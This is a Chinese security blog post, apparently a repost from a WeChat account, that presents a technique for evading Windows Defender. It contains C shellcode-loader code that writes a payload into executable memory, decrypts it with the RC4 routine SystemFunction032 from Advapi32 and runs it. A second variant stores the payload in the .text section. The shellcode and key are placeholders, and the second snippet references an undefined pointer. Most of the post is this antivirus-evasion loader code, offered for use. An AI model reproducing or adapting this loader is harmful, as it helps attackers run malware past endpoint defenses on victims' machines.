一个免杀Windows defender的小技巧

admin 2023年4月30日02:52:52评论139 views字数 2127阅读7分5秒阅读模式

目前很多免杀做法都是采用XOR加密的方式,很XOR容易被发现,不管你XOR的key有多长,而且像Yara这种都是支持XOR逻辑检测的。所以采用其他的方式加密payload/内存会更好,这里推荐一个WindowsAPI SystemFunction032,调用方法很简单,只需要传递2个参数:需要加密/解密的内存和Key值即可:

 NTSTATUS SystemFunction032 (  struct ustring*       data,  const struct ustring* key)

exploit:

#include <windows.h>#include <stdio.h>

unsigned char shellcode[] = "xecx54x11x1e...."typedef NTSTATUS(WINAPI* pSystemFunction032)(PVOID, PVOID);
void main() { // encryption Key unsigned char keyBuf[16] = { 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x' };
// RC4 struct typedef struct _USTRING { DWORD Length; DWORD MaximumLength; PVOID Buffer; } USTRING, * PUSTRING;
USTRING keyString; keyString.Buffer = keyBuf; keyString.Length = 16; keyString.MaximumLength = 16;
USTRING imgString;
int size = sizeof(shellcode);
DWORD tProcess = GetCurrentProcessId(); printf("Current Process ID: %dn", tProcess); HANDLE pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess); printf("Process Handle: %dn", pHandle); LPVOID rPtr = VirtualAllocEx( pHandle, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
WriteProcessMemory(pHandle, rPtr, shellcode, size, NULL);
imgString.Buffer = rPtr; imgString.Length = size; imgString.MaximumLength = size;
// Call SystemFunction032 HMODULE hModule = LoadLibraryA("Advapi32.dll"); pSystemFunction032 SystemFunction032 = (pSystemFunction032)GetProcAddress(hModule, "SystemFunction032"); SystemFunction032(&imgString, &keyString);
((void(*)())rPtr)();

}

可以将payload包含在.text节中,该节通常默认具有RX权限,这样避免了更改内存权限,将 payload写入内存这些动作

#pragma section(".text")unsigned char shellcode[] = "xecx54x11x1e...."  // encryption Key     unsigned char keyBuf[16] = { 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x' };
// RC4 struct typedef struct _USTRING { DWORD Length; DWORD MaximumLength; PVOID Buffer; } USTRING, * PUSTRING;
USTRING keyString; keyString.Buffer = keyBuf; keyString.Length = 16; keyString.MaximumLength = 16;
USTRING imgString;
int size = sizeof(shellcode); imgString.Buffer = rPtr; imgString.Length = size; imgString.MaximumLength = size;
// Call SystemFunction032 HMODULE hModule = LoadLibraryA("Advapi32.dll"); pSystemFunction032 SystemFunction032 = (pSystemFunction032)GetProcAddress(hModule, "SystemFunction032"); SystemFunction032(&imgString, &keyString);
((void(*)())rPtr)();

效果:

感谢阅读

原文始发于微信公众号(老鑫安全):一个免杀Windows defender的小技巧

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月30日02:52:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一个免杀Windows defender的小技巧http://cn-sec.com/archives/1700592.html

发表评论

匿名网友 填写信息